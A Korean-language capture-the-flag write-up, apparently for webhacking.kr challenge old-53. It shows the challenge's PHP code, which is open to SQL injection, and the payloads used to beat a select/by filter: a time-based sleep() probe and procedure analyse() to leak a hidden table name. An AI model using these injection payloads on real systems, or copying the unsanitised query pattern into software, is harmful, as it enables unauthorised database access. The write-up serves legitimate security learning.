Write-Up
<?php
$db = dbconnect();
include "./tablename.php";
if($_GET['answer'] == $hidden_table) solve(53);
if(preg_match("/select|by/i",$_GET['val'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"));
echo($result[0]);
?>
해당 문제에 대한 조건은 위와 같다. 눈여겨 볼 점은 $hidden_table 과 같이 table 명이 가려져 있고, 파라미터 answer의 인자 값으로 $hidden_table에 해당하는 값을 전달해야 한다. 그리고 val에 대한 인자 값은 select와 by가 필터링 되어 있다. 앞선 old-55문제에서 select가 필터링 될 경우 procedure analyse() 함수를 사용했었다.
이제 문제를 풀어보도록 한다.
컬럼 a는 int 타입인 것으로 보이는데, 처음에는 무작정 ' or ... 를 넣기도 하고, 인트루더를 돌리기도 했다. 사실 문제를 해결하기 위해서는 필요 없는 과정이지만, 시도했던 과정이니 적어보도록 한다.
?answer=(아무거나)&&val=0%20or%20if(length(a)=1,sleep(3),0)--+
위 payload로 a에 대한 값의 길이가 한자리 임을 파악했고, a=1 시, 참임을 확인할 수 있었다.
이제, 테이블에 대한 정보를 추출하기 위해 procedure analyse() 를 사용해준다.
?answer=321&&val=1%20procedure%20analyse()--+
[ 페이지 출력 ]
webhacking.chall53_755fdeb36d873dfdeb2b34487d50a805.a
DB명.테이블 명.컬럼 명 형태로 값이 출력되었음을 확인했다. 우리가 구하고자 하는 $hidden_table 값은 chall53_755fdeb36d873dfdeb2b34487d50a8xx 과 같다.
아래 그림 1과 같이 요청을 보내고, 문제를 해결했다.
실습
위 그림 2는 sleep() 사용에 대한 실습 예제이다. idx 컬럼의 갯수는 5개이다. 그래서 위의 쿼리와 같이 요청하게 되면, 5개 행에 모두 들려, sleep(2)를 적용하게 되어 10초라는 시간이 소요된다. 가끔 wargame을 풀다가, sleep()을 사용했는데, 응답이 너무 안올 때가 있다. 그런 경우가 이러한 경우라고 생각된다. 생각 없는 sleep() 사용을 자제하고, 실무에서는 더욱 주의를 해야겠다 느꼈다.
위 그림 3은 procedure analyse() 에 대한 사용이다. 앞의 쿼리가 참이 아니라면, 해당 함수 사용이 불가 하다. 즉 위 문제에서 아래와 같은 쿼리가 사용됬었다.
?answer=321&&val=1%20procedure%20analyse()--+
위 쿼리에 대한 반응은 참인데, 아래는 그렇지 않다. 앞의 쿼리가 false이기 때문에 procedure analyse() 가 실행되지 않기 때문이다.
?answer=321&&val=2%20procedure%20analyse()--+
참고
Mysql 최신 버전은 해당 함수 제거
https://dev.mysql.com/doc/refman/5.7/en/procedure-analyse.html
https://mariadb.com/kb/en/procedure-analyse/